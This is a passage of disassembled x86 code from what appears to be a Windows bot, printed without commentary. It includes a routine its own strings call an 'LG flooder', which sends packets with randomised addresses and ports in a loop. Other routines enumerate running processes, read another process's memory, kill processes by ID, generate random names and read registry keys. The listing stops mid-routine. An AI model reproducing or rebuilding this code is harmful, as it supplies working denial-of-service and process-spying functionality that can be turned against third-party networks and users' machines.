		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_40405B
; ---------------------------------------------------------------------------


loc_4040D7:				; CODE XREF: sub_403EA9+181j
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h


loc_404102:				; CODE XREF: sub_403EA9+2CBj
		cmp	eax, 7D0h
		push	edi
		push	0
		jnb	loc_404213
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_404102
; ---------------------------------------------------------------------------


loc_404176:				; CODE XREF: sub_403EA9+13Fj
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h


loc_4041A3:				; CODE XREF: sub_403EA9+368j
		cmp	eax, 7D0h
		push	edi
		push	0
		jnb	short loc_404213
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_4041A3
; ---------------------------------------------------------------------------


loc_404213:				; CODE XREF: sub_403EA9+261j
					; sub_403EA9+302j
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		push	0
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	edi
		jmp	loc_404332
; ---------------------------------------------------------------------------


loc_40424E:				; CODE XREF: sub_403EA9+138j
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU	; "%u\r\n"
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h


loc_40427B:				; CODE XREF: sub_403EA9+448j
		cmp	eax, 7D0h
		push	ebx
		push	edi
		jnb	short loc_4042F3
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		lea	eax, [ebp+var_131C]
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 20h
		jmp	short loc_40427B
; ---------------------------------------------------------------------------


loc_4042F3:				; CODE XREF: sub_403EA9+1B9j
					; sub_403EA9+3D9j
		call	sub_40B459
		pop	ecx
		movzx	eax, ax
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax
		push	esi
		push	edi
		call	sub_40B459
		pop	ecx
		movzx	eax, al
		pop	ecx
		push	eax


loc_404332:				; CODE XREF: sub_403EA9+3A0j
		lea	eax, [ebp+var_131C]
		push	offset dword_413A68
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		lea	eax, [ebp+eax+var_131C]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 1Ch


loc_404354:				; CODE XREF: sub_403EA9+178j
		lea	eax, [ebp+var_131C]
		push	eax
		call	sub_4114BE	; strlen
		xor	edx, edx
		pop	ecx
		test	eax, eax
		mov	[ebp+arg_0], eax
		jbe	short loc_404384


loc_40436A:				; CODE XREF: sub_403EA9+4D9j
		mov	al, [ebp+edx+var_131C]
		lea	ecx, [ebp+edx+var_131C]
		shl	al, 1
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	edx
		cmp	edx, eax
		jb	short loc_40436A


loc_404384:				; CODE XREF: sub_403EA9+4BFj
		add	eax, 1Ch
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1336],	ax
		call	sub_40B493
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1334],	ax
		call	sub_40B4C3
		neg	eax
		sbb	al, al
		push	2
		and	al, 0C0h
		push	offset dword_41A2E8
		add	al, 80h
		mov	[ebp+var_1330],	al
		call	dword_412254	; inet_addr
		push	eax
		call	sub_4031A7
		mov	[ebp+var_132C],	eax
		mov	eax, [ebp+arg_0]
		add	eax, 14h
		push	eax
		lea	eax, [ebp+var_1338]
		push	eax
		call	sub_40315E
		add	esp, 10h
		cmp	[ebp+var_16], 0
		mov	[ebp+var_132E],	ax
		jnz	short loc_404404
		call	sub_40B493
		mov	[ebp+var_1322],	ax


loc_404404:				; CODE XREF: sub_403EA9+54Dj
		push	ebx
		push	edi
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1324],	ax
		mov	eax, [ebp+arg_0]
		add	eax, 8
		push	eax
		call	dword_412248	; htons
		mov	[ebp+var_1320],	ax
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		mov	eax, [ebp+arg_0]
		push	0
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1338]
		push	eax
		push	[ebp+var_4]
		call	dword_412260	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404495
		push	[ebp+var_27]
		call	dword_4120A4	; Sleep
		mov	eax, [ebp+var_2D8]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_404477
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_2B]
		jl	loc_403FDD


loc_404477:				; CODE XREF: sub_403EA9+129j
					; sub_403EA9+5BDj
		push	[ebp+var_4]
		call	sub_403D92
		push	[ebp+var_2D8]
		call	sub_406E6F


loc_40448A:				; CODE XREF: sub_403EA9+5FFj
		pop	ecx


loc_40448B:				; CODE XREF: sub_403EA9+DAj
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_404495:				; CODE XREF: sub_403EA9+5A8j
		push	[ebp+var_2D8]
		call	sub_406E6F
		push	[ebp+var_4]
		call	sub_403D92
		jmp	short loc_40448A
sub_403EA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044AA	proc near		; CODE XREF: sub_407A76+582p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_404579
		cmp	[ebp+arg_8], 0
		jz	loc_404579
		cmp	[ebp+arg_14], 0
		jz	loc_404579
		push	2B9h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_404579
		push	[ebp+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		push	100h
		lea	eax, [esi+1A7h]
		push	[ebp+arg_4]
		push	eax
		call	sub_4059C2
		push	6
		lea	eax, [esi+2A7h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4059C2
		push	[ebp+arg_C]
		call	sub_41151C	; atoi
		push	[ebp+arg_10]
		mov	[esi+2ADh], eax
		call	sub_41151C	; atoi
		push	[ebp+arg_14]
		mov	[esi+2B1h], eax
		call	sub_41151C	; atoi
		mov	ecx, [esi+2B1h]
		mov	[esi+2B5h], eax
		mov	eax, 0EA60h
		add	esp, 2Ch
		cmp	ecx, eax
		jge	short loc_404550
		mov	eax, ecx


loc_404550:				; CODE XREF: sub_4044AA+A2j
		cmp	eax, 64h
		mov	[esi+2B1h], eax
		jg	short loc_40455E
		push	64h
		pop	eax


loc_40455E:				; CODE XREF: sub_4044AA+AFj
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	esi
		push	offset sub_403EA9
		mov	[esi+2B1h], eax
		call	sub_406D58
		add	esp, 10h


loc_404579:				; CODE XREF: sub_4044AA+8j
					; sub_4044AA+12j ...
		pop	esi
		pop	ebp
		retn
sub_4044AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40457C	proc near		; CODE XREF: sub_4014B0+53p
					; sub_4018D5+64p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jnz	short loc_4045A1
		push	esi
		mov	esi, [esp+4+arg_0]
		push	1A3h
		push	0
		push	esi
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	byte ptr [esi+198h], 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_40457C+5j
		push	1A3h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		retn
sub_40457C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045B7	proc near		; CODE XREF: kkrunchy:004112A5p

var_8		= dword	ptr -8

		push	edi
		push	offset dword_419650
		call	sub_4071D2
		mov	[esp+8+var_8], offset aPsapi_dll ; "psapi.dll"
		call	dword_41205C	; LoadLibraryA
		mov	edi, eax
		test	edi, edi
		jz	short loc_404637
		push	esi
		mov	esi, dword_412060
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	edi
		call	esi	; GetProcAddress
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	edi
		mov	dword_41964C, eax
		call	esi	; GetProcAddress
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	edi
		mov	dword_419640, eax
		call	esi	; GetProcAddress
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	edi
		mov	dword_419644, eax
		call	esi	; GetProcAddress
		cmp	dword_41964C, 0
		mov	dword_419648, eax
		pop	esi
		jz	short loc_404637
		cmp	dword_419640, 0
		jz	short loc_404637
		cmp	dword_419644, 0
		jz	short loc_404637
		test	eax, eax
		jz	short loc_404637
		mov	byte_41966C, 1


loc_404637:				; CODE XREF: sub_4045B7+1Cj
					; sub_4045B7+61j ...
		pop	edi
		retn
sub_4045B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404639	proc near		; CODE XREF: sub_4011C4+56p
					; sub_40485F+2Ap

var_125		= byte ptr -125h
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		push	offset dword_419650
		call	sub_407200
		cmp	byte_41966C, 0
		pop	ecx
		jnz	short loc_404660


loc_404659:				; CODE XREF: sub_404639+35j
					; sub_404639+4Cj ...
		xor	esi, esi
		jmp	loc_404842
; ---------------------------------------------------------------------------


loc_404660:				; CODE XREF: sub_404639+1Ej
		and	[ebp+var_14], 0
		push	0
		call	sub_4114C4	; malloc
		test	eax, eax
		pop	ecx
		jz	short loc_404659
		mov	esi, 80h
		push	esi
		mov	ebx, esi
		push	eax


loc_404679:				; CODE XREF: sub_404639+6Dj
		call	sub_411576	; realloc
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_404659
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	dword_41964C
		test	eax, eax
		jz	short loc_4046C6
		mov	edi, [ebp+var_14]
		cmp	edi, ebx
		jb	short loc_4046A8
		add	ebx, esi
		push	ebx
		push	[ebp+var_4]
		jmp	short loc_404679
; ---------------------------------------------------------------------------


loc_4046A8:				; CODE XREF: sub_404639+65j
		shr	edi, 2
		mov	eax, edi
		mov	[ebp+var_10], edi
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4046D1


loc_4046C6:				; CODE XREF: sub_404639+5Ej
		push	[ebp+var_4]
		call	sub_4114CA	; free
		pop	ecx
		jmp	short loc_404659
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_404639+8Bj
		lea	eax, [esi+8]
		mov	[esi], edi
		test	edi, edi
		mov	[esi+4], eax
		jbe	short loc_404726
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], edi


loc_4046E8:				; CODE XREF: sub_404639+E8j
		mov	edi, 114h
		push	edi
		push	0
		push	dword ptr [esi+4]
		call	sub_4114E8	; memset
		mov	ecx, [ebp+var_8]
		mov	eax, [esi+4]
		push	offset aSystem	; "system"
		mov	ecx, [ecx]
		mov	[ebx+eax], ecx
		mov	eax, [esi+4]
		lea	eax, [ebx+eax+0Ch]
		push	eax
		call	sub_4114B8	; _mbscpy
		add	[ebp+var_8], 4
		add	esp, 14h
		add	ebx, edi
		dec	[ebp+var_C]
		jnz	short loc_4046E8
		mov	edi, [ebp+var_10]


loc_404726:				; CODE XREF: sub_404639+A2j
		push	[ebp+var_4]
		call	sub_4114CA	; free
		test	edi, edi
		pop	ecx
		jbe	loc_404842
		xor	ebx, ebx
		mov	[ebp+var_4], edi


loc_40473C:				; CODE XREF: sub_404639+203j
		mov	eax, [esi+4]
		push	dword ptr [ebx+eax]
		push	0
		push	410h
		call	dword_41209C	; OpenProcess
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_8], edi
		jz	loc_404833
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	edi
		call	dword_419640
		test	eax, eax
		jnz	short loc_40477F
		push	edi
		jmp	loc_40482D
; ---------------------------------------------------------------------------


loc_40477F:				; CODE XREF: sub_404639+13Ej
		lea	eax, [ebp+var_20]
		push	0Ch
		push	eax
		push	[ebp+var_C]
		push	edi
		call	dword_419648
		mov	eax, [esi+4]
		mov	ecx, [ebp+var_20]
		push	40h
		lea	edi, [ebp+var_123]
		mov	[ebx+eax+4], ecx
		mov	eax, [esi+4]
		mov	ecx, [ebp+var_1C]
		mov	[ebx+eax+8], ecx
		mov	al, byte_4191D0
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		rep stosd
		stosw
		stosb
		mov	edi, 104h
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		push	[ebp+var_20]
		push	[ebp+var_8]
		call	dword_419644
		test	eax, eax
		jz	short loc_40482A
		cmp	[ebp+var_124], 0
		jz	short loc_40482A
		lea	eax, [ebp+var_124]
		push	edi
		push	eax
		mov	eax, [esi+4]
		lea	eax, [ebx+eax+0Ch]
		push	eax
		call	sub_4114D6	; strncpy
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_4114BE	; strlen
		add	esp, 10h
		test	eax, eax
		jz	short loc_40482A


loc_40480C:				; CODE XREF: sub_404639+1E3j
		cmp	eax, 1
		jbe	short loc_40482A
		cmp	[ebp+eax+var_125], 5Ch
		jz	short loc_404820
		dec	eax
		jnz	short loc_40480C
		jmp	short loc_40482A
; ---------------------------------------------------------------------------


loc_404820:				; CODE XREF: sub_404639+1E0j
		mov	ecx, [esi+4]
		mov	[ebx+ecx+110h],	eax


loc_40482A:				; CODE XREF: sub_404639+1A0j
					; sub_404639+1A9j ...
		push	[ebp+var_8]


loc_40482D:				; CODE XREF: sub_404639+141j
		call	dword_4120AC	; CloseHandle


loc_404833:				; CODE XREF: sub_404639+11Dj
		add	ebx, 114h
		dec	[ebp+var_4]
		jnz	loc_40473C


loc_404842:				; CODE XREF: sub_404639+22j
					; sub_404639+F8j
		push	offset dword_419650
		call	sub_40720B
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404639	endp


; =============== S U B	R O U T	I N E =======================================



sub_404854	proc near		; CODE XREF: sub_4011C4+27Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4114CA	; free
		pop	ecx
		retn
sub_404854	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40485F	proc near		; DATA XREF: sub_40491E+2Fo

var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A8h
		push	esi
		push	edi
		push	1A7h
		lea	eax, [ebp+var_1A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		call	sub_404639
		mov	esi, eax
		xor	edi, edi
		cmp	esi, edi
		jz	short loc_40490A
		mov	eax, [ebp+var_1A8]
		push	ebx
		push	dword ptr [esi]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A4]
		push	offset dword_413B24
		push	eax
		call	sub_4096CB
		add	esp, 10h
		xor	ebx, ebx
		cmp	[esi], edi
		jle	short loc_404902


loc_4048BB:				; CODE XREF: sub_40485F+A1j
		push	3E8h
		call	dword_4120A4	; Sleep
		mov	eax, [esi+4]
		add	eax, edi
		lea	ecx, [eax+0Ch]
		push	ecx
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1A4]
		push	offset dword_413B0C
		push	eax
		call	sub_4096CB
		mov	eax, [ebp+var_1A8]
		add	esp, 18h
		cmp	dword ptr [eax+4], 0
		jnz	short loc_404902
		inc	ebx
		add	edi, 114h
		cmp	ebx, [esi]
		jl	short loc_4048BB


loc_404902:				; CODE XREF: sub_40485F+5Aj
					; sub_40485F+96j
		push	esi
		call	sub_4114CA	; free
		pop	ecx
		pop	ebx


loc_40490A:				; CODE XREF: sub_40485F+35j
		push	[ebp+var_1A8]
		call	sub_406E6F
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40485F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40491E	proc near		; CODE XREF: sub_407A76+2B1p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40495A
		push	1A3h
		lea	eax, [esi+4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		push	offset dword_413B4C
		push	0
		push	esi
		push	offset sub_40485F
		call	sub_406D58
		add	esp, 10h


loc_40495A:				; CODE XREF: sub_40491E+10j
		pop	esi
		retn
sub_40491E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40495C	proc near		; CODE XREF: sub_407A76+621p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		jz	loc_404A2E
		cmp	[ebp+arg_C], 0
		jz	loc_404A2E
		push	[ebp+arg_4]
		call	sub_41151C	; atoi
		push	[ebp+arg_8]
		mov	ebx, eax
		call	sub_4079AC
		push	[ebp+arg_C]
		mov	[ebp+arg_8], eax
		call	sub_41151C	; atoi
		mov	esi, eax
		mov	eax, 180h
		add	esp, 0Ch
		cmp	esi, eax
		jbe	short loc_4049A3
		mov	esi, eax


loc_4049A3:				; CODE XREF: sub_40495C+43j
		lea	eax, [esi+1]
		push	eax
		call	sub_4114C4	; malloc
		pop	ecx
		mov	edi, eax
		push	ebx
		xor	ebx, ebx
		push	ebx
		push	10h
		call	dword_41209C	; OpenProcess
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jnz	short loc_4049CB
		push	edi
		call	sub_4114CA	; free
		pop	ecx
		jmp	short loc_404A2E
; ---------------------------------------------------------------------------


loc_4049CB:				; CODE XREF: sub_40495C+64j
		lea	ecx, [ebp+arg_4]
		mov	[ebp+arg_4], ebx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_8]
		push	eax
		call	dword_4120A0	; ReadProcessMemory
		test	eax, eax
		jz	short loc_404A1E
		cmp	[ebp+arg_4], ebx
		jz	short loc_404A1E
		and	byte ptr [edi+esi], 0
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		jbe	short loc_404A13


loc_4049F2:				; CODE XREF: sub_40495C+B5j
		mov	al, [ecx+edi]
		cmp	al, 0Ah
		jz	short loc_404A09
		cmp	al, 0Dh
		jz	short loc_404A09
		cmp	al, 1Fh
		jz	short loc_404A09
		cmp	al, 16h
		jz	short loc_404A09
		cmp	al, 10h
		jg	short loc_404A0D


loc_404A09:				; CODE XREF: sub_40495C+9Bj
					; sub_40495C+9Fj ...
		mov	byte ptr [ecx+edi], 2Eh


loc_404A0D:				; CODE XREF: sub_40495C+ABj
		inc	ecx
		cmp	ecx, [ebp+arg_4]
		jb	short loc_4049F2


loc_404A13:				; CODE XREF: sub_40495C+94j
		push	edi
		push	[ebp+arg_0]
		call	sub_4096CB
		pop	ecx
		pop	ecx


loc_404A1E:				; CODE XREF: sub_40495C+84j
					; sub_40495C+89j
		push	edi
		call	sub_4114CA	; free
		pop	ecx
		push	[ebp+arg_C]
		call	dword_4120AC	; CloseHandle


loc_404A2E:				; CODE XREF: sub_40495C+Aj
					; sub_40495C+14j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40495C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A33	proc near		; CODE XREF: sub_407A76+298p

arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		push	esi
		jz	short loc_404A6E
		push	[esp+4+arg_4]
		call	sub_41151C	; atoi
		pop	ecx
		mov	esi, eax
		call	dword_4120F0	; GetCurrentProcessId
		cmp	esi, eax
		jz	short loc_404A6E
		push	esi
		push	0
		push	1
		call	dword_41209C	; OpenProcess
		mov	esi, eax
		push	0
		push	esi
		call	dword_4120A8	; TerminateProcess
		push	esi
		call	dword_4120AC	; CloseHandle


loc_404A6E:				; CODE XREF: sub_404A33+6j
					; sub_404A33+1Cj
		pop	esi
		retn
sub_404A33	endp


; =============== S U B	R O U T	I N E =======================================



sub_404A70	proc near		; CODE XREF: sub_402EFD+10Bp
					; sub_407A76+94p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi


loc_404A78:				; CODE XREF: sub_404A70+1Aj
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 8
		pop	ecx
		jl	short loc_404A78
		and	byte ptr [edi+8], 0
		mov	edi, [esp+8+arg_4]
		xor	esi, esi


loc_404A96:				; CODE XREF: sub_404A70+38j
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 6
		pop	ecx
		jl	short loc_404A96
		and	byte ptr [edi+6], 0
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_404AB4:				; CODE XREF: sub_404A70+56j
		push	7Ah
		push	61h
		call	sub_40B459
		mov	[esi+edi], al
		inc	esi
		pop	ecx
		cmp	esi, 10h
		pop	ecx
		jl	short loc_404AB4
		and	byte ptr [edi+10h], 0
		pop	edi
		pop	esi
		retn
sub_404A70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ACF	proc near		; CODE XREF: sub_407A76+962p

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_404CFB
		cmp	byte ptr [edi+4], 5Ch
		jnz	loc_404CFB
		push	4
		pop	esi
		push	esi
		push	offset aHkcr	; "HKCR"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B0F
		mov	[ebp+arg_4], 80000000h
		jmp	short loc_404B65
; ---------------------------------------------------------------------------


loc_404B0F:				; CODE XREF: sub_404ACF+35j
		push	esi
		push	offset aHkcu	; "HKCU"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B2B
		mov	[ebp+arg_4], 80000001h
		jmp	short loc_404B65
; ---------------------------------------------------------------------------


loc_404B2B:				; CODE XREF: sub_404ACF+51j
		push	esi
		push	offset aHklm	; "HKLM"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404B47
		mov	[ebp+arg_4], 80000002h
		jmp	short loc_404B65
; ---------------------------------------------------------------------------


loc_404B47:				; CODE XREF: sub_404ACF+6Dj
		push	esi
		push	offset aHkus	; "HKUS"
		push	edi
		call	sub_411930	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_404CFB
		mov	[ebp+arg_4], 80000003h


loc_404B65:				; CODE XREF: sub_404ACF+3Ej
					; sub_404ACF+5Aj ...
		add	edi, 5
		push	edi
		call	sub_4114BE	; strlen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_404CFB


loc_404B79:				; CODE XREF: sub_404ACF+B1j
		cmp	byte ptr [esi+edi], 5Ch
		jz	short loc_404B87
		dec	esi
		jnz	short loc_404B79
		jmp	loc_404CFB
; ---------------------------------------------------------------------------


loc_404B87:				; CODE XREF: sub_404ACF+AEj
		lea	eax, [esi+edi+1]
		push	eax
		call	sub_4114BE	; strlen
		mov	ebx, 200h
		pop	ecx
		cmp	eax, ebx
		jnb	loc_404CFB
		lea	eax, [esi+edi+1]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnb	loc_404CFB
		push	esi
		lea	eax, [ebp+var_214]
		push	edi
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		and	[ebp+esi+var_214], 0
		push	eax
		push	1
		lea	eax, [ebp+var_214]
		push	0
		push	eax
		push	[ebp+arg_4]
		call	dword_412000	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_404CFB
		mov	eax, 1000h
		push	eax
		mov	[ebp+var_C], eax
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		lea	eax, [ebp+var_C]
		mov	[ebp+var_10], esi
		push	eax
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_414]
		push	0
		push	eax
		push	[ebp+var_14]
		call	dword_41200C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_404CEB
